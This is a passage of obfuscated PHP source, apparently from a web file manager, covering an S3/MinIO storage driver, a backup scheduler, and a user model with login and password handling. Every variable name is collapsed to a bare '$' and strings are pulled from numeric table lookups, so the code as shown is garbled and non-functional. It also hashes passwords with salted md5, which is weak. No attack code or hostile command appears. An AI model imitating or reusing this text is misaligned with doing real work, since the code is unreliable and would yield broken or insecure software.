(!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ = DATA_THUMB . $; del_file($); $ = TEMP_FILES . $; if (!@file_exists($)) { $ = $this->download($, $); } if (!@file_exists($)) { return $[194]; } ImageThumb::createThumb($, $, $, $ * 10); if (@file_exists($)) { Cache::remove($); return IO::move($, $); } Cache::set($, $[186], 600); del_file($); return $[195] . $ . $[73]; } public function fileOutImageServer($, $ = 250) { $this->fileOutImage($, $); } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $ = $ === $[12] ? $ : rtrim($, $[8]) . $[8] . $; if ($ == REPEAT_REPLACE || !$this->exist($) || $ && $ != REPEAT_RENAME_FOLDER) { return $; } if ($ == REPEAT_SKIP) { return !1; } $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; $ = 1; $ = substr($, 0, strlen($) - strlen($)); $ = $ . "({$}){$}"; while ($this->exist(rtrim($, $[8]) . $[8] . $)) { $ = $ . "({$}){$}"; $++; } return $; } private function fileNameAutoList($, $, $ = false) { $ =& $_SERVER[]; $ = $this->listPath($, !0); $ = array_merge($[$[84]], $[$[85]]); $ = array_to_keyvalue($, $[12], $[32]); $ = $[10] . get_path_ext($); $ = $ == $[10] || $ ? $[12] : $; $ = substr($, 0, strlen($) - strlen($)); $ = $ . "(0){$}"; for ($ = 1; $ <= count($) + 1; $++) { $ = $ . "({$}){$}"; if (!in_array_not_case($, $)) { return $; } } return $; } public function listAllFiles($, $) { $ =& $_SERVER[]; if (empty($)) { return array(); } $ = array_keys($); $ = array(); $ = trim($, $[8]); foreach ($ as $ => $) { $ = ltrim(substr(trim($, $[8]), strlen($)), $[8]); if (substr($, -1) == $[8]) { $ = rtrim($, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($)); } $ = array(); foreach (array_unique($) as $) { $ = array($[86] => $this->getPathOuter($[8] . $ . $[8] . $), $[77] => 1, $[78] => 0); if (substr($, -1) != $[8]) { $[$[77]] = 0; $ = $this->getPath($ . $[8] . $); if (isset($[$])) { $ = $[$]; if (isset($[$[78]])) { $[$[78]] = intval($[$[78]]); } if (isset($[$[196]])) { $[$[87]] = intval($[$[196]]); } } } $[] = $; } return $; } public function slicePath($) { $ =& $_SERVER[]; $ = explode($[8], trim($, $[8])); $ = 0; do { ++$; $[] = implode($[8], array_slice($, 0, $)) . $[8]; } while ($ < count($)); $[count($) - 1] = $; return $; } public function getHost() { $ =& $_SERVER[]; $ = parse_url(trim($this->domain, $[8])); $ = isset($[$[197]]) ? $[$[197]] : http_type(); $ = isset($[$[198]]) ? $[$[198]] : $[$[86]]; if (isset($[$[199]])) { $ .= $[4] . $[$[199]]; } return $ . $[200] . $; } public function pathEncode($) { $ =& $_SERVER[]; return str_replace($[201], $[8], rawurlencode($)); } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "v4"; public $ioUploadServer = "0"; public $ioFileOutServer = "0"; public $config = array(); public function __construct($) { set_timeout(); require_once SDK_DIR . $_SERVER[][202]; parent::__construct(); $this->_init($); } public function _init($) { $this->config = $; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } $this->endpoint = $[$_SERVER[][203]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $this->client->setEndpoint($this->getHost()); } public function signatureVersion($ = "v4") { $this->signVer = $; $this->client->setSignatureVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { return $this->client->getBucketCors($this->bucket); } public function isBucketCors() { $ =& $_SERVER[]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if ($[$[204]] != $[205] || $[$[206]] != $[205]) { return !1; } $ = array_map($[207], $[$[208]]); if (!is_array($)) { $ = array(); } $ = array($[209], $[210], $[211], $[212], $[213]); $ = array_diff($, $); return empty($); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; if (empty($) && $ !== $[214]) { return !1; } if ($ && $this->_isFolder($)) { return $this->getPathOuter($); } $ = $this->setContent($, $[12], !0); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($, $, $ = array()) { $ =& $_SERVER[]; $ = $this->objectMeta($); if (!$) { return !1; } if ($[$[78]] <= 1024 * 1024 * 200) { $ = $this->client->copyObject($this->bucket, $, $this->bucket, $, $[215], $); } else { $ = $this->client->multiCopyObject($this->bucket, $, $this->bucket, $, $); } $ = $ ? $this->getPathOuter($) : !1; return $; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $[8]) . $[8]; if (!empty($) && $ !== $[214] && !in_array($, $[$[84]])) { $[$[84]][] = $; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } $ = $this->delByBatch($[$[84]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->client->deleteObjects($this->bucket, $); if (!$) { return !1; } } return !0; } public function rename($, $) { return $this->renameObject($, $); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $this->fileList($, $[8], !0); foreach ($[$[84]] as $ => $) { $[$[84]][$] = $this->folderInfo($, $, $); } foreach ($[$[85]] as $ => $) { $[$[85]][$] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($, &$) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $[$[80]] += count($[$[84]]); $[$[79]] += count($[$[85]]); foreach ($[$[85]] as $) { if (!$ || !$[$[78]]) { continue; } $[$[78]] += $[$[78]]; } } private function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($), $[33] => $[216], $[177] => $this->ext($), $[78] => isset($[$[78]]) ? $[$[78]] : 0); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } if (isset($[$[220]]) && $[$[220]]) { $[$[221]] = $[$[220]]; } if (isset($[$[196]])) { $[$[87]] = $[$[196]]; } if (isset($[$[78]])) { $[$[78]] = $[$[78]]; } return $; } private function folderInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if ($ == $[12]) { return $; } if (empty($)) { $ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($[$[196]])) { $[$[217]] = $[$[196]]; } return $; } private function fileList($, $ = '', $ = 0) { $ =& $_SERVER[]; $ = rtrim($, $[8]) . $[8]; $ = $this->listObjs($, null, null, $); if (!$) { return array($[84] => array(), $[85] => array()); } $ = $ = array(); foreach ($[$[222]] as $) { $ = $[$[32]]; if ($ == $) { continue; } $ = isset($[$[78]]) ? $[$[78]] : 0; $ = $ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; continue; } $[] = $ ? $ : $; } foreach ($[$[223]] as $) { $[] = $[$[32]]; $this->cacheMethodInfoSet($[$[32]], !0); } $this->cacheMethodInfoSet($, !0); return array($[84] => $, $[85] => $); } private function listObjs($, $ = null, $ = null, $ = null) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; return $this->client->getBucket($this->bucket, $, $, $, $, !0); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = empty($) && $ !== $[214] ? $[12] : $ . $[8]; $ = null; $ = 500; $ = $[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($, $, $, $); if (!$) { break; } $ = $[$[224]]; $ = $[$[222]]; $ = $[$[223]]; if (empty($) && empty($)) { break; } if (count($) == 1 && $[0][$[32]] == $) { break; } if ($) { if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if (count($)) { $ = array_column($, $[32]); $ = array_merge($, $); } if ($ === null) { break; } continue; } if ($) { if (!empty($)) { if (count($) > 1 || isset($[0][$[32]]) && $[0][$[32]] != $) { return !0; } } } else { if (!empty($)) { return !0; } } if ($ === null) { break; } } if ($) { $ = array_diff($, array($)); $ = count(array_unique($)); $ = count(array_unique($)); return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $this->fileList($, $[12], !0); $ = array_to_keyvalue($[$[85]], $[32]); foreach ($[$[84]] as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[227], $[228], $[229])) ? !0 : !1; } public function canWrite($) { $ =& $_SERVER[]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[227], $[228])) ? !0 : !1; } public function getContent($) { return $this->client->getObject($this->bucket, $); } public function setContent($, $ = '', $ = false) { $ =& $_SERVER[]; $ = $ ? trim($, $[8]) . $[8] : $; $ = get_file_mime(get_path_ext($)); $ = $this->client->putObject($, $this->bucket, $, $[215], array(), $); if (!$) { return !1; } if ($) { return !0; } $this->cacheMethod(null, null); $ = $this->copyFile($, $, array($[230] => $[$[220]])); return $ ? !0 : !1; } public function fileSubstr($, $, $) { $ = $ + $ - 1; return $this->client->getObject($this->bucket, $, array($_SERVER[][231] => "bytes={$}-{$}")); } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = array($[230] => @md5_file($)); $ = array($[232] => get_file_mime(get_path_ext($))); if (IO::size($) <= 1024 * 1024 * 200) { $ = $this->client->putObjectFile($, $this->bucket, $, $[215], $, $); return !empty($) ? $this->getPathOuter($) : !1; } $ = $this->client->multiUploadObject($, $this->bucket, trim($, $[8]), $, $); return $ ? $this->getPathOuter($) : !1; } public function download($, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ = $this->client->getObject($this->bucket, $, array(), $); return $ !== !1 ? $ : !1; } public function link($, $ = array()) { $ =& $_SERVER[]; if ($this->signVer == $[233]) { return $this->client->getAuthenticatedURL($this->bucket, $, 3600 * 12, $); } return $this->client->getObjectUrl($this->accessKey, $this->secret, $this->bucket, trim($, $[8]), 3600 * 12, $this->region, array(), !0, $); } public function fileOut($, $ = false, $ = false, $ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = get_file_mime(get_path_ext($)); if ($ == $[234]) { return parent::fileOut($, $, $, $); } $ = array($[235] => $); if ($) { $[$[236]] = $[237] . rawurlencode($); } else { } $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($, $ = '') { $ =& $_SERVER[]; $ = $this->objectMeta($); if (!$) { return !1; } $ = $ ? $ : _get($, $[238]); $ = $ ? $ : _get($, $[220], $[12]); return $; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $this->pathFather($); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $[215], $); return array_merge((array) $, array($[198] => $this->getHost())); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = gmdate($[239]); $ = array(); $ = $this->client->getUploadId($this->bucket, $, $); if (!$) { return !1; } return array($[240] => $, $[198] => $this->getHost() . $[8] . $this->pathEncode($), $[241] => $, $[96] => $); } public function multiUploadAuthData($, $ = array()) { $ =& $_SERVER[]; $ = isset($[$[241]]) ? $[$[241]] : gmdate($[239]); $ = isset($[$[177]]) ? $[$[177]] : $[12]; $ = $[$[96]]; unset($[$[96]]); if (isset($[$[242]])) { $[$[241]] = $; return $this->listUploadParts($, $); } $ = array($[243], $[12], $[122], $[12], "x-amz-date:{$}", $[8] . $this->bucket . $[8] . $this->pathEncode($) . $); if (strpos($, $[244]) === 0) { $[0] = $[245]; } if (isset($[$[246]]) && $[$[246]] == $[247]) { $[0] = $[247]; } $ = implode($[248], $); $ = base64_encode(hash_hmac($[249], $, $this->secret, !0)); $ = $[250] . $this->accessKey . $[4] . $; if (strpos($, $[244]) === 0) { return array($[251] => $, $[241] => $); } return $; } public function listUploadParts($, $ = array()) { $ =& $_SERVER[]; $ = str_replace($[252], $[12], $[$[177]]); $ = $this->client->listParts($this->bucket, $, $); if (!$) { return !1; } unset($[$[242]], $[$[246]]); $[$[96]] = $; $ = $this->multiUploadAuthData($, $); if (empty($)) { return !1; } return array($[251] => $, $[241] => $[$[241]], $[253] => $); } public function getHost() { return parent::getHost() . $_SERVER[][8] . $this->bucket; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); try { $ = $this->client->getObjectInfo($this->bucket, $); if (!isset($[$[238]]) && isset($[$[254]])) { $[$[238]] = $[$[254]]; } } catch (Exception $) { $ = !1; } if (!$) { } return $; } protected function _isFolder($) { $ =& $_SERVER[]; $ = rtrim($, $[8]); if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->client->getBucket($this->bucket, $, null, 1); if (empty($[$[222]])) { return !1; } $ = $[$[222]][0][$[32]]; return stripos($, $ . $[8]) === 0 ? !0 : !1; if (substr($, -1) == $[8]) { return !0; } if (get_path_this($) == get_path_this($)) { return !1; } return !0; } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][233]); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function uploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = $[215]; $ = $[255]; $ = $[62]; $ = gmdate($[256]); $ = gmdate($[257]); $ = $[258]; $ = $ . $[12]; $ = $[259]; $ = array($this->accessKey, $, $this->region, $, $); $ = implode($[8], $); $ = array($[260] => gmdate($[261], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $), array($[271] => $), array($[272] => $), array($[273] => $), array($[274] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $ = hash_hmac($[275], $this->region, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $, !0); $ = hash_hmac($[275], $, $); $ = array($[232] => $[12], $[277] => $[12], $[265] => $, $[270] => $, $[278] => $, $[279] => $, $[280] => $, $[281] => $, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $; } } goto E; b: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $ =& $_SERVER[]; $this->isManual(); self::$name = date($[793]); if (!($ = Model($[794])->lastItem())) { $ = $this->initData(); } else { self::$name = $[$[32]]; if ($[$[795]] == $[90]) { self::$name = date($[257]); $ = 0; if (isset($[$[339]][$[216]][$[511]])) { $ = (int) $[$[339]][$[216]][$[511]]; } if (self::$manual == 0 && $[$[32]] == self::$name) { Model($[794])->remove($[$[445]]); } $ = $this->initData($, $[$[796]]); } else { $this->checkStore($[$[796]]); } } self::$option = $; } private function isManual() { $ = _get($GLOBALS, $_SERVER[][797], 0); $ = intval($); self::$manual = $ && $ == 1 ? 1 : 0; } private function initData($ = 0, $ = '') { $ =& $_SERVER[]; $ = Model($[794])->config(); if ($ && $[$[796]] != $) { $ = 0; } $this->checkStore($[$[796]]); if (self::$manual == 1) { self::$name .= $[11] . date($[798]); } $ = array($[796] => $[$[796]], $[32] => self::$name, $[795] => 0, $[799] => $[$[799]], $[800] => self::$manual, $[339] => array($[801] => array($[795] => 0), $[802] => array($[795] => 0, $[803] => 0, $[804] => 0, $[33] => $[12], $[805] => 0, $[806] => 0), $[807] => array($[795] => 0, $[803] => 0, $[804] => 0, $[805] => 0, $[806] => 0), $[216] => array($[795] => 0, $[808] => 0, $[809] => 0, $[810] => 0, $[811] => 0, $[511] => $, $[805] => 0, $[806] => 0)), $[805] => time(), $[806] => 0); $ = Model($[794])->insert($); $[$[445]] = $; return $; } private function checkStore($) { $ =& $_SERVER[]; $ = Model($[812])->listData($); Model($[812])->checkConfig($); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[][794])->findByName(self::$name); } return self::$option; } public static function set($) { $ =& $_SERVER[]; $ = self::get(); foreach ($ as $ => $) { $ = explode($[10], $); $ = count($); switch ($) { case 1: $[$[0]] = $; break; case 2: $[$[0]][$[1]] = $; break; case 3: $[$[0]][$[1]][$[2]] = $; break; } } Model($[794])->update($[$[445]], $); self::$option = $; return self::$option; } public function keep() { $ =& $_SERVER[]; $ = self::get(); if ($[$[339]][$[801]][$[795]] == $[90]) { return; } $this->backupKeep($); self::set(array($[813] => 1)); } private function backupKeep($) { $ =& $_SERVER[]; if (self::$manual == 1) { return; } $ = Model($[794])->listData(); if (empty($)) { return; } $ = 0; $ = array(); foreach ($ as $) { if ($ >= 7) { break; } $[] = $[$[32]]; $++; } for ($ = 0; $ < 12; $++) { $[] = date($[814], strtotime("-{$} months")); } $ = array_unique($); $ = Model($[815])->get($[816]); foreach ($ as $) { if (isset($[$[800]]) && $[$[800]] == $[90]) { continue; } if (!empty($[$[32]]) && in_array($[$[32]], $)) { continue; } Model($[794])->remove($[$[445]]); $ = $this->backupPath($, $); IO::remove($, !1); } } private function backupPath($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = Model($[815])->get($[816]); } $ = $[$[32]]; $ = substr(md5($[817] . $ . $), 0, 8); return "{io:{$[$[796]]}}/database/backup/" . $ . $[11] . $; } public function db() { $ =& $_SERVER[]; $ = self::get(); if ($[$[339]][$[802]][$[795]] == $[90]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[818] => 1)); return !0; } public function dbFile() { $ =& $_SERVER[]; $ = self::get(); if ($[$[339]][$[807]][$[795]] == $[90]) { return !0; } $ = new BackupDbFile(); if (!$->index()) { return !1; } self::set(array($[819] => 1)); return !0; } public function file() { $ =& $_SERVER[]; $ = self::get(); if ($[$[339]][$[216]][$[795]] == $[90]) { return !0; } if (!isset($[$[799]]) || $[$[799]] == $[214]) { $ = new BackupFile(); if (!$->index()) { return !1; } } self::set(array($[820] => 1, $[795] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); self::$io = $[$[796]]; self::$name = $[$[32]]; $ = new DbManage(); $ = $->dbType(); $ = array($[821] => $, $[822] => time()); Backup::set($); $ = $this->tmpFilesPath() . $[823] . self::$name . $[8]; del_dir($); mk_dir($); $ = $ = 0; $ = new Task($[824], $[825], 0, LNG($[826]) . $[827] . LNG($[828])); try { $ = $->db()->getTables(); } catch (Exception $) { $->end(); return !1; } $ = array_diff($, array($[829], $[830])); foreach ($ as $) { $ += $->model($)->count(); } $->task[$[831]] = $; $GLOBALS[$[832]] = self::$name; foreach ($ as $) { $ = $ . $ . $[833]; $ = null; if ($ == $[834] && (!isset($[$[799]]) || $[$[799]] == $[214])) { $ = self::$io; } $ += $->sqlFromDb($, $, $, $); } unset($GLOBALS[$[832]]); $->end(); if ($ > $) { $ = $; } $ = array($[821] => $, $[818] => 1, $[835] => $, $[836] => $, $[837] => time()); Backup::set($); if ($ - $ > 1) { $ = $[838]; if (stristr(I18n::getType(), $[839])) { $ = $[840]; } write_log(array($, $), $[825]); return !1; } return !0; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[841]]) { $ = $GLOBALS[$[6]][$[91]][$[841]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[842])) { $ = TEMP_FILES; } } return $; } } class BackupDbFile { public function __construct() { } public function index() { $ =& $_SERVER[]; $ = Backup::get(); $ = $[$[32]]; $ = $this->tmpFilesPath() . "backup_{$}/"; $ = $this->backupPath($); if (!($ = IO::mkdir($))) { return !1; } $ = IO::listPath($); $ = isset($[$[85]]) ? $[$[85]] : array(); $ = array_sum(array_column($, $[78])); if (!$) { return !1; } $ = array($[843] => $, $[844] => time()); Backup::set($); $ = new TaskFileTransfer($[845], $[825], count($), LNG($[826]) . $[432] . LNG($[828]) . $[846]); $->task[$[808]] = $; foreach ($[$[85]] as $) { $ = IO::move($[$[86]], $); if (!$) { $->end(); $ = IO::getLastError($[847] . $[$[86]] . $[848] . $ . $[167]); write_log($, $[825]); return !1; } } $ = new DbManage(); $ = $->getSqlFile(); if (!$[$[849]] || !$[$[13]]) { return !1; } IO::move($[$[849]], $); IO::move($[$[13]], $); $->end(); $ = array($[850] => $, $[851] => time()); Backup::set($); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[815])->get($[816]); $ = substr(md5($[817] . $ . $), 0, 8); return "{io:{$[$[796]]}}/database/backup/" . $ . $[11] . $; } private function tmpFilesPath() { $ =& $_SERVER[]; $ = TEMP_FILES; if ($GLOBALS[$[6]][$[91]][$[841]]) { $ = $GLOBALS[$[6]][$[91]][$[841]]; if (!mk_dir($) || !is_writable($) || !IO::mkfile($ . $[842])) { $ = TEMP_FILES; } } return $; } } goto b; E: class UserModel extends ModelBase { protected $tableName = "user"; protected $tableMeta = array("tableName" => "user_meta", "metaField" => "userID"); protected $simpleField = "userID,nickName,name,avatar,sex,status"; const ERROR_USER_NOT_EXISTS = -1; const ERROR_USER_PASSWORD_ERROR = -2; const ERROR_USER_EXIST_NAME = -3; const ERROR_USER_EXIST_PHONE = -4; const ERROR_USER_EXIST_EMAIL = -5; const ERROR_USER_LOGIN_LOCK = -6; const ERROR_IP_NOT_ALLOW = -7; const ERROR_USER_EXIST_NICKNAME = -8; protected function cacheFunctionAlias($) { $ =& $_SERVER[]; $ = $[2358]; return array($[1982] => array($[0], $), $[1984] => array($[0], $), $[2359] => array($[0], $)); } protected function getInfo($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($); } return $this->cacheFunctionGet($_SERVER[][1986], $); } protected function getInfoFull($, $ = false) { $ = $this->getInfoSimple($); if (!is_array($)) { return array(); } if ($) { return $this->_getInfoApply($, !0); } return $this->cacheFunctionGet($_SERVER[][2360], $); } private function _getInfoApply($, $ = false) { $ =& $_SERVER[]; if (!$) { return $; } $ = md5($[2361] . $[$[940]] . $[2362] . $[$[32]]); $ = $this->_listDataApplyItem($); $ = Model($[1384])->metaGet($[$[89]][$[183]]); $[$[2363]] = $; $[$[89]][$[2179]] = isset($[$[2180]]) ? $[$[2180]] : null; if ($) { $[$[509]] = $this->metaGet($[$[1705]]); } return $; } protected function getInfoSimple($, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if ($) { $ = $this->where(array($[1705] => intval($)))->find(); if (!is_array($)) { return array(); } $[$[2364]] = Action($[2365])->parseUrl($[$[2364]]); return $; } return $this->cacheFunctionGet($[1987], $); } protected function getInfoSimpleOuter($) { $ =& $_SERVER[]; if (!$ || $ == 0) { return array($[1705] => $[214], $[32] => $[165] . LNG($[2366]) . $[167], $[2364] => STATIC_PATH . $[2367]); } $ = $this->cacheFunctionGet($[1987], $); $ = array_field_key($, explode($[50], $this->simpleField)); if (!$) { return array($[1705] => $[1239], $[32] => $[165] . LNG($[2368]) . $[167], $[2364] => STATIC_PATH . $[2369]); } $[$[2364]] = Action($[2365])->parseUrl($[$[2364]]); return $; } protected function groupUser($) { } public static function errorLang($) { $ =& $_SERVER[]; $ = array(self::ERROR_USER_NOT_EXISTS => $[2370], self::ERROR_USER_PASSWORD_ERROR => $[2371], self::ERROR_USER_EXIST_NAME => $[2372], self::ERROR_USER_EXIST_PHONE => $[2373], self::ERROR_USER_EXIST_EMAIL => $[2374], self::ERROR_USER_LOGIN_LOCK => $[2375], self::ERROR_IP_NOT_ALLOW => $[2376], self::ERROR_USER_EXIST_NICKNAME => $[2377]); return LNG($[$]); } public function getInfoByMeta($, $) { $ =& $_SERVER[]; $ = Model($[2378])->where(array($[96] => $, $[420] => $))->find(); if ($) { return $this->getInfo($[$[1705]]); } return !1; } public function userLoginCheck($, $) { $ =& $_SERVER[]; $ = $this->userLoginFind($); if (!$) { return UserModel::ERROR_USER_NOT_EXISTS; } if (!$this->userPasswordCheck($[$[1705]], $)) { return UserModel::ERROR_USER_PASSWORD_ERROR; } return $this->getInfo($[$[1705]]); } public function userLoginFind($) { $ =& $_SERVER[]; $ = array($[32] => $, $[2187] => $, $[351] => $, $[2379] => $, $[1051] => $[1053]); if ($this->nickNameRpt()) { unset($[$[2187]]); } return $this->where($)->find(); } public function clearCache($) { $ =& $_SERVER[]; $this->cacheFunctionClear($[1986], $); $this->cacheFunctionClear($[1987], $); $this->cacheFunctionClear($[2360], $); } public function userPasswordCheck($, $) { $ =& $_SERVER[]; $ = $this->where(array($[1705] => intval($)))->find(); $ = $this->metaGet($); $ = isset($[$[2380]]) ? $[$[2380]] : $[12]; if (md5($ . trim($)) !== $[$[940]]) { return !1; } return !0; } public function userAdd($) { $ =& $_SERVER[]; $ = array($[464] => $[$[32]], $[2381] => $[$[2106]], $[2382] => isset($[$[351]]) ? $[$[351]] : $[12], $[2383] => isset($[$[2379]]) ? $[$[2379]] : $[12], $[2384] => isset($[$[2187]]) ? $[$[2187]] : $[$[32]], $[2385] => isset($[$[2364]]) ? $[$[2364]] : $[12], $[2386] => isset($[$[2387]]) ? $[$[2387]] : 1, $[2388] => $[$[940]], $[1988] => isset($[$[1891]]) ? $[$[1891]] : 1024 * 1024 * 20, $[1989] => 0, $[2389] => 0, $[2033] => isset($[$[795]]) ? $[$[795]] : 1); if (!empty($[$[1705]])) { $[$[1705]] = $[$[1705]]; } $ = $this->_checkExist($); if ($ !== !0) { return $; } if (!empty($[$[2364]]) && strlen($[$[2364]]) > 255) { $[$[2364]] = $[12]; } $ = $this->add($); $ = array($[2388] => $[$[940]], $[2384] => $[$[2187]]); $this->userEdit($, $); Model($[1384])->userRootAdd($); return $; } protected function userEditTest($, $) { return $this->call($_SERVER[][2390], $, $); } protected function userEdit($, $) { $ =& $_SERVER[]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($, $); if ($ !== !0) { return $; } if (isset($[$[940]]) && trim($[$[940]]) != $[12]) { $ = $this->metaGet($); if (empty($[$[2380]])) { $[$[2380]] = rand_string(10); Model($[548])->metaSet($, $[2380], $[$[2380]]); } $[$[940]] = md5($[$[2380]] . trim($[$[940]])); } else { unset($[$[940]]); } if (!empty($[$[2364]]) && strlen($[$[2364]]) > 255) { $[$[2364]] = $[12]; } $this->where(array($[1696] => $))->save($); if (isset($[$[2187]])) { $this->setNamePinyin($, $[$[2187]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $ = false) { $ =& $_SERVER[]; if (!$) { $ = $this->getInfoSimple($); $ = $[$[2187]] ? $[$[2187]] : $[$[32]]; } $ = Model($[569]); if (!Input::check($, $[625])) { return $->metaSet($, array($[508] => $[12], $[507] => $[12])); } return $->metaSet($, array($[508] => str_replace($[53], $[12], Pinyin::get($)), $[507] => Pinyin::get($, $[626]))); } private function nickNameRpt() { $ =& $_SERVER[]; $ = Model($[815])->get($[2391]); $ = $GLOBALS[$[6]][$[427]][$[2391]]; $ = !is_null($) ? $ : $; return !!$; } private function _checkExist($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => UserModel::ERROR_USER_EXIST_NAME, $[2187] => UserModel::ERROR_USER_EXIST_NICKNAME, $[351] => UserModel::ERROR_USER_EXIST_EMAIL, $[2379] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$[2187]]); } $ = $ ? array($[1705] => array($[2392], $)) : array(); foreach ($ as $ => $) { $ = array(); foreach ($ as $ => $) { if (isset($[$]) && $[$]) { $[] = $[$]; } } if (!$) { continue; } $ = array_merge(array($ => array($[7], $)), $); $ = $this->where($)->find(); if ($) { return $; } } return !0; } public function userListInfo($) { $ =& $_SERVER[]; $ = array(); $ = is_array($) ? array_unique($) : array(); if (!$) { return $; } if (count($) < 20) { foreach ($ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1696] => array($[462], $)); if (count($) == 1) { $ = array($[1696] => $[0]); } $ = Model($[548])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1705]); foreach ($ as $) { $ = $[$]; if (!$) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $[$[2364]] = Action($[2365])->parseUrl($[$[2364]]); $[$ . $[12]] = $; } } return $; } protected function userStatus($, $) { $ = $this->getInfoSimple($); if (!$) { return !1; } $ = array($_SERVER[][795] => $); return $this->userEdit($, $); } protected function userRemove($) { $ =& $_SERVER[]; 